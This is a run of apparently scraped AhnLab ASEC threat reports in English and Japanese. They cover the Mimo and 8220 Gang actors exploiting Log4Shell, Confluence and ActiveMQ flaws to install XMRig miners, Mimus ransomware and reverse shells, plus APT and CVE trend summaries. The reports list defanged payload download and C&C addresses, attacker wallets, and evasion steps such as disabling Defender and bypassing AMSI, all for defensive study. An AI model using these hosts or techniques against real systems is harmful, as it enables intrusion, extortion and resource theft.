CoinMiner/BAT.Xmrig.SC195965 (2024.01.11.02) – CoinMiner/BAT.Xmrig.SC195963 (2024.01.11.02) – Downloader/BAT.Agent (2024.01.11.02) – Malware/Win32.Generic.C4280792 (2020.12.28.01) – Unwanted/Win.Peer2Profit.C5572495 (2024.01.11.02) – Backdoor/Win.ReverseShell.C5572514 (2024.01.11.03) – Downloader/XML.Generic (2024.01.12.00) 振る舞い検知 – Execution/MDP.Powershell.M1185 – Connection/MDP.Event.M2367 IoC MD5 – 618680a68eb6ac79f530a0291ad29d9f : Downloader (lnl.bat) – 5e0f18dfe16f274d34716d011e0a3f39 : Downloader (kill.bat) – 958dd3e767b32a28c199d59ce01ffb6c : CoinMiner Downloader (ln.bat) – c25972604121f4c6a7f8025e4e575c7c : CoinMiner (mad.bat) – 1136efb1a46d1f2d508162387f30dc4d : NSSM (dsm.exe) – 7ef97450e84211f9f35d45e1e6ae1481 : XMRig (dom.exe) – 3edcde37dcecb1b5a70b727ea36521de : XMRig (dom.exe) – bfa626e053028f9adbfaceb5d56086c3 : Config (config.json) – 61def7b3b98458a40fffa42a19ddf258 : Config (config.json) – 78c0c7648854d61da3bfba08dc11ffd6 : Downloader (kill.bat) – a3ffb336aee9f01275c92ac529c8f70e : Downloader (me1.bat) – 52cef8752f2c0f9a5383d2aecbdccc6f : CoinMiner (me.bat) – 5d32f0eee7adf20e0766d5481a1953a5 : CoinMiner (me2.bat) – b206cf6652a2d8279e7ca32f3127aeed : Downloader (prx.bat) – dd6931fda2df843249a5df40b8808387 : Mimus ランサムウェア (lol.exe) – a2cf452cb27ff2970e3248a9793de326 : Peer2Profit Installer (Peer2Profit-Setup.exe) – 77c2cb38dbcc944c010deda3024bb804 : Reverse Shell (me) – c9450a531ea62c6b9f7db0d5c7cae5a5 : Exploit (poc-win.xml) C&C – hxxp://windows.n1tro[.]cyou:4544 : Mimus ランサムウェア – 102.130.112[.]157:3232 : NHAS Reverse Shell Download アドレス – hxxp://102.130.112[.]157/lnl.bat : Downloader – hxxp://102.130.112[.]157/kill.bat : Downloader – hxxp://102.130.112[.]157/ln.bat : CoinMiner Downloader – hxxp://102.130.112[.]157/mad.bat : CoinMiner Downloader – hxxp://102.130.112[.]157/dom.zip : CoinMiner / NSSM – hxxp://102.130.112[.]157/dom-6.zip : CoinMiner / NSSM – hxxp://102.130.112[.]157/7za.exe : 7zip – hxxp://102.130.112[.]157/poc-win.xml : Exploit – hxxp://50.19.48[.]59:82/kill.bat : Downloader – hxxp://50.19.48[.]59:82/me1.bat : Downloader – hxxp://50.19.48[.]59:82/me.bat : CoinMiner – hxxp://50.19.48[.]59:82/me2.bat : CoinMiner – hxxp://50.19.48[.]59:82/prx.bat : Downloader – hxxp://50.19.48[.]59:82/lol.exe : Mimus Ransomware – hxxp://50.19.48[.]59:82/mazar.zip : Peer2Profit Installer 関連 IOC および詳細な解析情報は、AhnLab の次世代脅威インテリジェンスプラットフォーム「AhnLab TIP」サブスクリプションサービスを通して確認できる。
ASEC Mimo CoinMiner and Mimus Ransomware Installed via Vulnerability Attacks 2024-01-12
AhnLab SEcurity intelligence Center (ASEC) recently observed circumstances of a CoinMiner threat actor called Mimo exploiting various vulnerabilities to install malware. Mimo, also dubbed Hezb, was first found when they installed CoinMiners through a Log4Shell vulnerability exploitation in March 2022. Up until now, all of the attack cases involved the installation of XMRig CoinMiner called Mimo Miner Bot in the final stage. However, there were other pertinent cases where the same threat actor installed Mimus ransomware, proxyware, and reverse shell malware besides the Mimo miner. This article will cover the various malware the Mimo threat actor used in the attacks. 1. Vulnerability Exploitation The first known activity of the Mimo threat actor was in March 2022, when CoinMiner was installed through the exploitation of the Log4Shell vulnerability (CVE-2021-44228) [1] . The threat actor exploited WSO2’s remote code execution vulnerability (CVE-2022-29464) in May 2022 [2] and the Atlassian Confluence server’s vulnerability (CVE-2022-26134) in June 2022 [3] . In May 2023, an attack case exploiting the printer management program PaperCut’s remote code execution vulnerability (CVE-2023–27350) was observed [4] , as well as the exploitation of the Apache ActiveMQ vulnerability (CVE-2023-46604) recently. In 2022, ASEC analyzed and revealed cases of 8220 Gang, z0Miner, and also the Mimo (Hezb) threat actor exploiting the vulnerable Atlassian Confluence server to install the XMRig CoinMiner [5] . The vulnerability used in this particular attack (CVE-2022-26134) is the remote code execution vulnerability of unpatched Atlassian Confluence servers. Figure 1. Mimo CoinMiner installed through the CVE-2022-26134 vulnerability Atlassian’s Confluence is a major collaboration platform used by many companies across the globe. Being a web-based platform, services such as managing projects and collaboration are mainly provided by Confluence Servers (or Confluence Data Centers). As it is a solution used by many companies, many vulnerabilities targeting vulnerable Confluence Servers and Data Centers have been continuously discovered, with attackers targeting systems that are not patched. Cases of the Mimo threat actor exploiting the Log4Shell (CVE-2021-44228) vulnerability to install CoinMiners are still being found. Log4Shell (CVE-2021-44228) is a remote code execution vulnerability in the Java-based logging utility Log4j. It allows remote execution of Java objects in servers that use Log4j by including the remote Java object address in the log message and sending it. Systems installed with VMware Horizon were the targets. VMware Horizon is a virtual desktop solution for remote working and operating cloud infrastructures. It seems that such systems and the Log4J in use are being attacked because VMware Horizon has not been patched. Figure 2. Mimo CoinMiner installed through the Log4Shell vulnerability Recently, there was evidence of the exploitation of the Apache ActiveMQ vulnerability (CVE-2023-46604) that was revealed in November 2023. CVE-2023-46604 is a remote code execution vulnerability in the Apache ActiveMQ server, an open-source messaging and integrated pattern server. If an unpatched Apache ActiveMQ server is exposed externally, the threat actor can execute malicious commands remotely and dominate the target system. Vulnerability attacks are carried out by making an instance out of the class in classpath by manipulating the serialized class type in the OpenWire protocol. When the threat actor sends the modified packet, the vulnerable server references the path (URL) in the packet to load the class XML configuration file. For example, a vulnerable Apache ActiveMQ’s Java process references the modified packet received and loads the XML configuration located in the “hxxp://102.130.112[.]157/poc-win.xml” path. Afterward, it references the loaded XML configuration file to run the specified command. The configuration file has a Powershell command that downloads the Mimo miner. Figure 3. Apache ActiveMQ vulnerability configuration file used for the Mimo miner attack 2. XMRig CoinMiner Attack Cases The Powershell executed through the vulnerability attacks is executed by downloading the Batch malware. Recently, the names “lnl.bat” or “kill.bat” are being used. The Batch malware disables Windows Defender and removes other CoinMiners before ultimately downloading and running the Batch malware called “ln.bat” or “mad.bat” in the %TEMP% path. Figure 4. Batch malware installed through vulnerability attacks The “ln.bat” or “mad.bat” Batch malware also downloads the “dom.zip” or “dom-6.zip” compressed file and decompresses it using the 7z tool. The decompressed file has the XMRig CoinMiner “dom.exe” in charge of mining Monero coins, the NSSM tool “dsm.exe”, and the configuration file saved inside. The Batch script uses the NSSM afterwards to register XMRig as a service. Although various vulnerability attacks are being used, the routine used to install CoinMiners is fairly simple and XMRig and NSSM tools are used without any particular changes. Figure 5. Batch malware installing the XMRig CoinMiner Figure 6. Configuration file used by the Mimo threat actor Wallet Address 1 : 43DTEF92be6XcPj5Z7U96g4oGeebUxkFq9wyHcNTe1otM2hUrfvdswGdLHxabCSTio7apowzJJVwBZw6vVTu7NoNCNAMoZ4 Wallet Address 2 : 46HmQz11t8uN84P8xgThrQXSYm434VC7hhNR8be4QrGtM1Wa4cDH2GkJ2NNXZ6Dr4bYg6phNjHKYJ1QfpZRBFYW5V6qnRJN 3. Mimus Ransomware The majority of the Mimo threat actor’s attacks have been cases that use XMRig CoinMiner, in other words, the Mimo miner. However, ransomware attack cases were also observed in 2023. The ransomware was found at the same time and place as the address where the Mimo miner was distributed in 2023. Figure 7. The download address of Mimo miner and Mimus ransomware Ransomware that was installed with this Batch malware was made based on the source code revealed on GitHub by the developer “mauri870” who developed the codes for research purposes [6] . This source code also includes an explanation that MauriCrypt is detecting whether it is frequently being used by threat actors. In this article, the open-source ransomware is called MauriCrypt. Figure 8. The ransomware source code revealed on GitHub MauriCrypt was developed in Go, and the threat actor used this to develop ransomware and named it Mimus ransomware. Mimus ransomware does not have any particular differences when compared to MauriCrypt’s source code. Only the threat actor’s C&C address, wallet address, email address, and other configuration data were changed. Overview Description Encryption algorithm AES-256 CTR Encryption extension .encrypted Ransom note name READ_TO_DECRYPT.html, FILES_ENCRYPTED.html Paths excluded from encryption “ProgramData”, “Windows”, “bootmgr”, “$WINDOWS.~BT”, “Windows.old”, “Temp”, “tmp”, “Program Files”, “Program Files (x86)”, “AppData”, “$Recycle.Bin” Encrypted extensions “doc”, “docx”, “msg”, “odt”, “wpd”, “wps”, “txt”, “csv”, “pps”, “ppt”, “pptx”, “aif”, “iif”, “m3u”, “m4a”, “mid”, “mp3”, “mpa”, “wav”, “wma”, “3gp”, “3g2”, “avi”, “flv”, “m4v”, “mov”, “mp4”, “mpg”, “vob”, “wmv”, “3dm”, “3ds”, “max”, “obj”, “blend”, “bmp”, “gif”, “png”, “jpeg”, “jpg”, “psd”, “tif”, “gif”, “ico”, “ai”, “eps”, “ps”, “svg”, “pdf”, “indd”, “pct”, “epub”, “xls”, “xlr”, “xlsx”, “accdb”, “sqlite”, “dbf”, “mdb”, “pdb”, “sql”, “db”, “dem”, “gam”, “nes”, “rom”, “sav”, “bkp”, “bak”, “tmp”, “cfg”, “conf”, “ini”, “prf”, “html”, “php”, “js”, “c”, “cc”, “py”, “lua”, “go”, “java” C&C URL hxxp://windows.n1tro[.]cyou:4544 Table 1. Overview of the Mimus ransomware MauriCrypt randomly generates the infected system’s “id” and Advanced Encryption Standard (AES) key value “enckey”, then connects with the C&C server to send them. Mimus ransomware may be disabled, but MauriCrypt has a feature that supports Tor in communications with the C&C server. This works by downloading and installing Tor Browser to the %TEMP% path before executing it to connect to the C&C server via the browser. Figure 9. Download URL for Tor Afterward, files with the specified extensions in all paths other than the exceptions are encrypted. Encrypted files have their names encoded in Base64 and their extensions changed to “.encrypted”. When the file encryption is complete, two ransom notes are created on the desktop. Ransom note “FILES_ENCRYPTED.html” has the list of encrypted files saved, and ransom note “READ_TO_DECRYPT.html” includes the address for contact along with a Bitcoin wallet address. Figure 10. Ransom notes generated on the desktop Threat actor’s email address : arbeyceo@proton[.]me Threat actor’s Bitcoin wallet address : 15Jz1fmreZx9wG93DKjTXMhuLpPpCgvEQk Website to purchase decryption tool : hxxps://satoshidisk[.]com/pay/CIIRg6 Upon visiting the website that sells the decryption tool, a post can be found where the decryption tool is sold for 0.01050000 BTC. Although we can’t know if they are directly connected to the Mimus ransomware attack, the Bitcoin wallet’s URL shows a record of multiple transactions. Figure 11. Website that sells the decryption tool 4. Proxyware Although the distribution method or the installed script has not been confirmed, there are records showing proxyware and reverse shell malware being downloaded from the same address around the time when the Mimo miner was distributed. In other words, it is speculated that the threat actor used proxyjacking attacks by installing proxyware in addition to using ransomware attacks and coin mining to generate profits. Proxyware is a program that shares a part of the Internet bandwidth that is currently available on a system to others. Users who install the program are usually paid with a certain amount of cash in exchange for providing the bandwidth. If the threat actor secretly installs proxyware to the infected system without the user’s consent, the infected system involuntarily has its bandwidth stolen and the profit is redirected to the threat actor. This is similar to cryptojacking attacks, but CoinMiners are installed instead of proxyware to mine cryptocurrencies with the infected system’s resources. Figure 13. Proxyware downloaded from an address related to the Mimo miner 5. NHAS Reverse Shell In addition, reverse shell malware that uses the same address as the Mimo miner’s download address as the C&C server was found. The reverse shell used in the attack is a tool named reverse_ssh developed by “NHAS” using Go. It is available on GitHub and uses the SSH protocol to communicate with the C&C server [7] . Figure 14. The reverse shell’s GitHub page The NHAS reverse shell is a reverse shell as stated in its name. Compared to other backdoor and RAT types, it only provides basic commands such as executing commands, file handling, and port forwarding. However, having this installed means the threat actor can generate profit simply by installing CoinMiners, proxyware, or ransomware on the infected system. In addition, control over the infected system can be stolen for additional tasks. 6. Conclusion The Mimo miner threat actor who was first discovered in early 2022 is still installing malware by exploiting vulnerabilities such as Log4Shell (CVE-2021-44228), WSO2’s remote code execution vulnerability (CVE-2022-29464), Atlassian Confluence server’s vulnerability (CVE-2022-26134), printer management program PaperCut’s remote code execution vulnerability (CVE-2023–27350), and Apache ActiveMQ’s vulnerability (CVE-2023-46604). Patches for all of these vulnerabilities have been released already, but because the threat actor is targeting poorly managed systems, attacks are still continuing. System administrators must check if the services in use are vulnerable versions and apply the latest patches to prevent known vulnerabilities from being exploited. They should also use security programs such as firewalls for servers accessible from outside to restrict access by attackers. Finally, caution must be practiced by updating V3 to the latest version to block malware infection in advance. File Detection – Downloader/BAT.CoinMiner.SC195961 (2024.01.11.02) – Downloader/BAT.CoinMiner.SC195959 (2024.01.11.02) – CoinMiner/BAT.Xmrig.SC195960 (2024.01.11.02) – CoinMiner/BAT.Xmrig.SC195962 (2024.01.11.02) – Unwanted/Win32.NSSM.R353938 (2020.10.27.00) – Trojan/Win32.RL_Miner.R363967 (2021.01.23.01) – Win-Trojan/Miner3.Exp (2020.01.23.00) – Data/JSON.Miner (2022.05.11.03) – Data/JSON.Miner (2021.12.12.00) – Downloader/BAT.CoinMiner.SC195966 (2024.01.11.02) – Downloader/BAT.CoinMiner.SC195964 (2024.01.11.02) – CoinMiner/BAT.Xmrig.SC195965 (2024.01.11.02) – CoinMiner/BAT.Xmrig.SC195963 (2024.01.11.02) – Downloader/BAT.Agent (2024.01.11.02) – Malware/Win32.Generic.C4280792 (2020.12.28.01) – Unwanted/Win.Peer2Profit.C5572495 (2024.01.11.02) – Backdoor/Win.ReverseShell.C5572514 (2024.01.11.03) – Downloader/XML.Generic (2024.01.12.00) Behavior Detection – Execution/MDP.Powershell.M1185 – Connection/MDP.Event.M2367 MD5 1136efb1a46d1f2d508162387f30dc4d 3edcde37dcecb1b5a70b727ea36521de 52cef8752f2c0f9a5383d2aecbdccc6f 5d32f0eee7adf20e0766d5481a1953a5 5e0f18dfe16f274d34716d011e0a3f39 URL http[:]//102[.]130[.]112[.]157/7za[.]exe http[:]//102[.]130[.]112[.]157/dom-6[.]zip http[:]//102[.]130[.]112[.]157/dom[.]zip http[:]//102[.]130[.]112[.]157/kill[.]bat http[:]//102[.]130[.]112[.]157/ln[.]bat Gain access to related IOCs and detailed analysis by subscribing to AhnLab TIP . For subscription details, click the banner below.
ASEC 2023 Dec. – Threat Trend Report on APT Groups 2024-01-09
The cases of major APT groups for December 2023 gathered from materials made public by security companies and institutions are as follows. 1) Andariel The Korean police announced that the Andariel group attacked 14 targets in Korea including companies in the defense industry, IT security companies, research centers, and educational institutes, raising 470 million won (about $352,390) in profits. [1] Cisco Talos shared details on the Andariel group’s Operation Blacksmith campaign. [2] The group targeted manufacturing, agricultural, and physical security companies in South America and Europe by exploiting a Log4 vulnerability (CVE-2021-44228). HazyLoad, NineRAT, BottomLoader, and DLRAT malware were used in this campaign. NineRAT used a Telegram channel for command and control (C2) communications. 2) APT28 Proofpoint has been monitoring phishing attacks by APT28 (TA422) since March 2023. [3] The group launched attacks that exploit a privilege escalation vulnerability (CVE-2023-23397) in Microsoft Outlook and a remote code execution vulnerability (CVE-2023-38831) in WinRAR against education, government, manufacturing, and space aviation sectors of Europe and North America. In the late summer of 2023, emails from APT28 contained appointment attachments using Transport Neutral Encapsulation Format (TNEF) files. The TNEF files used fake file extensions and were disguised as CSV, Excel, or Word files. They included a UNC path that directs traffic to an SMB listener hosted from a Ubiquiti router that is likely compromised. The target’s password hash was obtained through the NTLM authentication. IBM X-Force announced that the APT28 group has been leading a cyber espionage campaign leveraging the Israel-Hamas conflict. [4] The targets of the attacks were mainly countries including Hungary, Türkiye, Australia, Poland, Belgium, Ukraine, Germany, Azerbaijan, Saudi Arabia, Kazakhstan, Italy, Latvia, and Romania. In December 2023, CERT-UA identified attacks against national organizations via email. [5] Additional malware and programs such as OpenSSH, STEELHOOK, and OCEANMAP were downloaded by the MASEPIE malware written in Python. Tools such as IMPACKET and SMBEXEC were installed from the initial stage to scan the network and make additional attack attempts. A remote code execution vulnerability (CVE-2023-38831) in WinRAR was used, with Headlace backdoor infections occurring in some of the attacks. 3) APT29 Fortinet’s IR team [6] and CERT Polska [7] announced that a group believed to be APT29 exploited a TeamCity vulnerability (CVE-2023-42793) to attack the medical manufacturing industry. The attack involved the use of a custom-built Python exploit script for the CVE-2023-42793 TeamCity vulnerability. The behavior of the malware used in post-exploitation matches the GraphicalProton malware used by APT29. 4) Calisto (Star Blizzard) Microsoft and government organizations of the UK, US, Canada, Australia, and New Zealand announced that the Calisto (Star Blizzard) group is continuously focusing on email credential theft upon national defense policies related to diplomacy and Russia, research on international relations, support on Ukraine, etc. [8] The Calisto group’s tactics to improve its detection evasion capabilities include the use of server-side scripts, email marketing platform services, a DNS provider, password-protected PDF files, links to PDF files hosted on cloud-based file sharing platforms, and a randomized domain generation algorithm (DGA). The US and UK governments prosecuted two Russian nationals Ruslan Peretyatko and Andrey Korinets for active involvement in Calisto’s operation. [9] Sekoia released the personal information of Calisto group associates. [10] 5) Kasablanka 360 identified activities deemed to be attributable to Kasablanka. [11] This group launched attacks against the Nagorno-Karabakh region, which is a region of territorial conflict between Azerbaijan and Armenia. The group distributed VenomRAT malware and attacked the targets using a multi-stage sending mechanism, obfuscation tactic, and strategic social engineering. The threat actor modified AmsiScanBuffer() in AMSI.dll to bypass AMSI, and modified EtwEventWrite() in ntdll.dll to deactivate Event Tracing for Windows (ETW). [1] https://www.smpa.go.kr/user/nd42986.do?View&uQ=&pageST=SUBJECT&pageSV=&imsi=imsi&page=1&pageSC=SORT_ORDER&pageSO=DESC&dmlType=&boardNo=00300907&returnUrl=https://www.smpa.go.kr:443/user/nd4 [2] https://blog.talosintelligence.com/lazarus_new_rats_dlang_and_telegram/ [1] https://www.proofpoint.com/us/blog/threat-insight/ta422s-dedicated-exploitation-loop-same-week-after-week [4] https://securityintelligence.com/x-force/itg05-ops-leverage-israel-hamas-conflict-lures-to-deliver-headlace-malware/ [5] https://cert.gov.ua/article/6276894 [6] https://www.fortinet.com/blog/threat-research/teamcity-intrusion-saga-apt29-suspected-exploiting-cve-2023-42793 [7] https://cert.pl/en/posts/2023/12/apt29-teamcity [8] https://www.microsoft.com/en-us/security/blog/2023/12/07/star-blizzard-increases-sophistication-and-evasion-in-ongoing-attacks/ [9] https://home.treasury.gov/news/press-releases/jy1962 [10] https://blog.sekoia.io/calisto-doxxing-sekoia-io-findings-concurs-to-reuters-investigation-on-fsb-related-andrey-korinets/ [11] https://mp.weixin.qq.com/s?__biz=MzUyMjk4NzExMA==&mid=2247494512&idx=1&sn=151caeb7b46c3a6a58af714a576a8442
ASEC CVE Trend Report – April 2023 Vulnerability Statistics and Major Issues 2023-06-09
Following the recent abuse of vulnerabilities in various malware distributions and attacks, it is becoming more crucial to detect said information early on. Zero-day and other various vulnerabilities are typically spread faster through social networks. AhnLab provides the trend of current vulnerabilities through the ATIP service based on the information collected by the in-house infrastructure. Additionally, ATIP offers information on said vulnerabilities’ characteristics and countermeasures through related News Clippings, ASEC Notes, analysis reports, security advisories, and more. This report introduces the vulnerabilities that are trending each month along with their statistics and characteristics. CVE-2023-28206 (Apple macOS, iOS, iPadOS) CVE-2023-2033 (Google Chrome) CVE-2023-28252 (Windows Common Log File System) CVE-2023-21554 (Microsoft Message Queuing) CVE-2023-29218 (Twitter Recommendation Algorithm) CVE-2023-27350 (PaperCut MF/NG) CVE-2023-29489 (cPanel) CVE-2021-44228 (Apache Log4j) CVE-2023-23397 (Microsoft Outlook) CVE-2023-28205 (Apple macOS, iOS, iPadOS) ATIP_2023_Apr_Threat Trend Report on CVE Vulnerability Statistics and Major Issues
ASEC Log4Shell 脆弱性攻撃でコインマイナーをインストールする 8220 Gang 攻撃グループ 2023-04-21
AhnLab Security Emergency response Center(ASEC)では、最近 8220 Gang 攻撃グループが VMware Horizon サーバーの Log4Shell 脆弱性を利用してコインマイナーマルウェアをインストールしていることを確認した。攻撃対象として確認されたシステムの中には、韓国国内のエネルギー関連企業も存在し、脆弱性に対するパッチが適用されていないシステムを運営しているため、多くの攻撃者のターゲットとなっている。 Log4Shell(CVE-2021-44228)は Java ベースのロギングユーティリティである Log4j の脆弱性であり、リモート先の Java オブジェクトのアドレスをログメッセージに含ませ Log4j を使用するサーバーに転送すると、サーバーから Java オブジェクトを実行できるリモートコード実行の脆弱性である。 1. 8220 Gang 攻撃グループ 8220 Gang 攻撃グループは主に脆弱な Windows や Linux システムを攻撃対象とする攻撃グループであり、2017年頃から活動していることが確認されている。 [1] 脆弱なシステムが確認された場合、最終的にコインマイナーマルウェアをインストールするのが特徴である。 8220 Gang 攻撃グループは韓国国外だけでなく、国内のシステムも攻撃対象としている。以前 ASEC では、脆弱な国内のシステムをターゲットに Atlassian Confluence サーバーの脆弱性である CVE-2022-26134 を悪用し、コインマイナーをインストールした攻撃事例を公開したことがある。 脆弱な Atlassian Confluence サーバーをターゲットにした攻撃事例 CVE-2022-26134 の脆弱性攻撃が成功した場合、以下のような Powershell のコマンドで、追加の Powershell スクリプトをダウンロードして実行し、最終的に XMRig コインマイナーをインストールしていた。 Figure 1. 当社のログで確認された Powershell コマンド 最近、Fortinet では、8220 Gang 攻撃グループが Oracle Weblogic サーバーの脆弱性を利用して ScrubCrypt をインストールした攻撃事例を公開したことがある。 [2] ScrubCrypt は .NET で開発された Crypter であり、追加のマルウェアをインストールできる機能を提供するマルウェアである。 Fortinet で紹介された攻撃事例は当社の AhnLab Smart Defense(ASD)ログでも確認されており、攻撃プロセスでインストールされた ScrubCrypt は最終的に 8220 Gang の攻撃目標である XMRig コインマイナーをインストールする。 Figure 2. Oracle WebLogic 脆弱性攻撃によって実行された PowerShell コマンドログ ASECでは、最近 8220 Gang 攻撃グループが Oracle Weblogic サーバーの脆弱性以外に Log4Shell 脆弱性を利用して ScrubCrypt マルウェアをダウンロードした履歴を確認した。ScrubCrypt を通じて最終的にインストールされるマルウェアは、以前と同様に XMRig コインマイナーである。 2. Log4Shell 攻撃ログ Log4Shell は2021年12月に公開されてから様々な攻撃者によって使用されており、最近も、脆弱性に対するパッチが適用されていないシステムをターゲットとした、韓国国内外で行われている攻撃に使用されている。 ASECでは2022年に、Lazarus グループがこの脆弱性を悪用して NukeSped マルウェアを配布した攻撃事例を公開したことがある。攻撃者は、セキュリティパッチが適用されていない VMware Horizon 製品に log4j 脆弱性を使用していた。 [3] VMware Horizon 製品は仮想化デスクトップソリューションとして、企業がリモート勤務ソリューションとクラウドインフラの運用のために使用する製品である。 Log4Shell の脆弱性を悪用する Lazarus グループ (NukeSped) ASECでは最近、脆弱な ws_tomcatservice.exe プロセスがコインマイナーマルウェアをインストールするログを確認した。この攻撃プロセスを通じて最終的にインストールされるマルウェアは XMRig コインマイナーであり、8220 Gang 攻撃グループが使用するマルウェアであることが確認された。具体的なパケットは確認されていないが、VMware Horizon の ws_tomcatservice.exe プロセスによって PowerShell コマンドが実行された攻撃のログと既知の脆弱性を利用し、パッチが適用されていないシステムを攻撃する 8220 Gang 攻撃グループの特性上、既存の Log4Shell 脆弱性が攻撃に使用されたものと推定される。 Figure 3. ws_tomcatservice.exe プロセスにより実行された PowerShell Figure 4. 当社 ASD インフラで確認された Powershell コマンドログ 3. ScrubCypt、XMRig CoinMiner 解析 Figure 5. マルウェアのプロセスツリー Log4Shell 脆弱性攻撃を通してダウンロードおよび実行される PowerShell スクリプトは、Fortinet ブログで紹介されたように「bypass.ps1」という名前を持つ。内部に含まれたマルウェアは異なるが、名前だけではなく、ルーティンもほぼ同じである。 Figure 6. bypass.ps1 PowerShell スクリプト 「bypass.ps1」は難読化された PowerShell スクリプトであり、復号化すると以下のようなコードが確認できる。最初のラインは AMSI を回避するルーティンであり、その後は内部に含まれた実際のマルウェアを復号化し、「%TEMP%PhotoShop-Setup-2545.exe」パスに生成して実行する。 Figure 7. 復号化された PowerShell ルーティン 「PhotoShop-Setup-2545.exe」は .NET ダウンローダーマルウェアであり、以下のアドレスからエンコードされたデータをダウンロードしたあと復号化し、RegAsm.exe にインジェクションする。 ダウンロードアドレス: hxxp://77.91.84[.]42/Whkpws.png Figure 8. .NET ダウンローダーマルウェア RegAsm プロセスにインジェクションされて実行されるマルウェアは難読化されているが、Fortinet が紹介した ScrubCrypt のルーティンと類似している点を見ると、ScrubCrypt マルウェアであると推定される。攻撃に使用された ScrubCrypt は以下のように3つの C&C アドレスと4つのポート番号(58001、58002、58003、58004)を持っている。 Figure 9. ScrubCrypt(RegAsm.exe)の C&C アドレス 179.43.155[.]202 su-95.letmaker[.]top su95.bpdeliver[.]ru ScrubCrypt(RegAsm.exe)の C&C アドレス ScrubCypt は C&C サーバーに接続し、追加コマンドをダウンロードする。現在の解析環境では XMRig コインマイナーをインストールするコマンドが確認できる。 Figure 10. XMRig コインマイナーをインストールするPowershell コマンド ダウンロードされて実行される「deliver1.exex」はインジェクターマルウェアで、内部リソースにエンコードされて保存されているもう一方の ScrubCrypt を MSBuild.exe にインジェクションする。この ScrubCrypt は以下のように2つの C&C アドレスと4つのポート番号(9090、9091、9092、8444)を持っている。 Figure 11. ScrubCrypt(MSBuild.exe)の C&C アドレス 179.43.155[.]202 su95.bpdeliver[.]ru ScrubCrypt(MSBuild.exe)の C&C アドレス Figure 12. Fiddler で確認されたマルウェアのダウンロードログ ScrubCrypt はレジストリにマイニングプールアドレスとウォレットアドレス、コインマイナーペイロードのダウンロードアドレス、インジェクション対象プロセスが含まれた XMRig 実行時に使用する設定データを書き込み、ダウンロード済みのエンコードされたデータファイルである「plugin_3.dll」、「plugin_4.dll」を書き込む。 Figure 13. レジストリに保存された設定データとエンコードされたファイル 「Plugin_4.dll」はエンコードされた .NET マルウェアであり、復号化してメモリ上で動作する。「Plugin_4.dll」の機能は以下のようにエンコードされた XMRig である「plugin_3.dll」を復号化し、設定データに指定された正常なプロセス AddInProcess.exe にインジェクションしたあと、コマンドラインと共に実行させる。 Figure 14. XMRig マイナーインジェクション時の設定データ Mining Pool アドレス :174.138.19[.]0:8080 ウォレットアドレス: “46E9UkTFqALXNh2mSbA7WGDoa2i6h4WVgUgPVdT9ZdtweLRvAhWmbvuY1dhEmfjHbsavKXo3eGf5ZRb4qJzFXLVHGYH4moQ” パスワード:“ x” 攻撃者のモネロコインウォレットアドレスは過去に公開した Atlassian Confluence サーバーの脆弱性攻撃で使用されたアドレスと同じであり、最近公開された Fortinet の Oracle Weblogic サーバーの脆弱性攻撃事例とも同じである。8220 Gang 攻撃グループは以前から同じウォレットアドレスを使用しているのが特徴である。 4. 結論 8220 Gang として知られている攻撃グループは脆弱性がパッチされていないシステムを対象に、モネロコインを採掘する XMRig コインマイナーをインストールしている。過去には、脆弱な Atlassian Confluence サーバーをターゲットとした攻撃が確認されており、最近では VMware Horizon サーバーの Log4Shell 脆弱性を利用している。管理者は、現在使用している VMware Horizon サーバーが脆弱なバージョンであるかをチェックし、最新バージョンにパッチを適用して、既知の脆弱性による攻撃を防がなければならない。 また、外部に開放されていてアクセスが可能なサーバーに関してはファイアウォールのようなセキュリティ製品を利用し、外部の攻撃者からのアクセスを統制しなければならない。最後に、V3 を最新バージョンにアップデートしてマルウェアへの感染を事前に遮断できるように注意を払わなければならない。 ファイル検知 – Downloader/PowerShell.Generic (2023.04.17.02) – Downloader/PowerShell.Generic (2023.04.17.02) – Downloader/Win.Agent.R572121 (2023.04.16.01) – CoinMiner/Win.XMRig.C5411888 (2023.04.16.01) ビヘイビア検知 – Execution/MDP.Powershell.M2514 IOC MD5 – d63be89106d40f7b22e5c66de6ea5d65 : Oracle Weblogic Exploit PowerShell Downloader (bypass.ps1) – 2748c76e21f7daa0d41419725af8a134 : Log4Shell PowerShell Downloader (bypass.ps1) – 851d4ab539030d2ccaea220f8ca35e10 : Dotnet Downloader (PhotoShop-Setup-2545.exe) – bd0312d048419353d57068f5514240dc : ScrubCrypt for CoinMiner (deliver1.exe) ダウンロード – hxxp://163.123.142[.]210/bypass.ps1 : Oracle Weblogic Exploit PowerShell Downloader – hxxp://77.91.84[.]42/bypass.ps1 : Log4Shell PowerShell Downloader – hxxp://77.91.84[.]42/Whkpws.png : Dotnet Downloader – hxxp://77.91.84[.]42/deliver1.exe : ScrubCrypt for CoinMiner – hxxp://77.91.84[.]42/plugin_3.dll : Encoded XMRig – hxxp://77.91.84[.]42/plugin_4.dll : Encoded Loader C&C – 179.43.155[.]202 : ScrubCrypt – su-95.letmaker[.]top : ScrubCrypt – su95.bpdeliver[.]ru : ScrubCrypt – 174.138.19[.]0:8080 : XMRig Mining Pool 関連 IOC および詳細な解析情報は、AhnLab の次世代脅威インテリジェンスプラットフォーム「AhnLab TIP」サブスクリプションサービスを通して確認できる。
ASEC 8220 Gang Uses Log4Shell Vulnerability to Install CoinMiner 2023-04-17
Ahnlab Security Emergency response Center (ASEC) has recently confirmed that the 8220 Gang attack group is using the Log4Shell vulnerability to install CoinMiner in VMware Horizon servers. Among the systems targeted for the attack, there were Korean energy-related companies with unpatched and vulnerable systems, hence being preyed upon by multiple attackers. Log4Shell (CVE-2021-44228) is both a remote code execution vulnerability and the Java-based logging utility Log4j vulnerability that can remotely execute a Java object in servers that use Log4j by including the remote Java object address in the log message and sending it. 1. 8220 Gang Attack Group 8220 Gang is an attack group that targets vulnerable Windows / Linux systems. Their activities have been observed since 2017. [1] The group has a tendency to install CoinMiner if it finds vulnerable systems. The group targets not only global systems but also Korean ones. ASEC has introduced a case where the attack group abused the Atlassian Confluence server vulnerability CVE-2022-26134 to attack Korean systems and install CoinMiner. Cases of Attacks Targeting Vulnerable Atlassian Confluence Servers If the CVE-2022-26134 vulnerability attack succeeds, the following PowerShell command downloads and executes additional PowerShell scripts and ultimately installs XMRig CoinMiner. Fortinet recently revealed a case where 8220 Gang installed ScrubCrypt by exploiting Oracle Weblogic server vulnerabilities. [2] ScrubCrypt is a Crypter developed as .NET and provides a feature to install additional malware. AhnLab was able to identify the attack case introduced in Fortinet through the AhnLab Smart Defense (ASD) logs. ScrubCrypt installed during the attack process ultimately installs XMRig CoinMiner, which is the final attack goal of 8220 Gang. 